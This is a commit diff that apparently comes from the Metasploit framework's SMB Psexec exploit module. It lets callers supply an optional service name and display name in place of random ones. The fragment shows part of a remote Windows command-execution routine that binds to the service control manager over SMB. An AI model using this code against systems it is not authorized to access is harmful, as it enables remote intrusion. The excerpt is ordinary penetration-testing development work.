Allow passing of servicename etc

bug/bundler_fix
Meatballs 2014-03-19 12:46:41 +00:00
parent 71818b59d1
commit 16a553937b
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 5 additions and 3 deletions

View File

@ -53,7 +53,10 @@ module Exploit::Remote::SMB::Psexec
# @param command [String] Should be a valid windows command
# @param disconnect [Boolean] Disconnect afterwards
# @return [Boolean] Whether everything went well
def psexec(command, disconnect=true)
def psexec(command, disconnect=true, servicename=nil, displayname=nil)
servicename ||= Rex::Text.rand_text_alpha(11)
displayname ||= Rex::Text.rand_text_alpha(16)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...")
@ -71,8 +74,7 @@ module Exploit::Remote::SMB::Psexec
print_error("#{peer} - Error getting scm handle: #{e}")
return false
end
servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16)
svc_handle = nil
svc_status = nil
stubdata =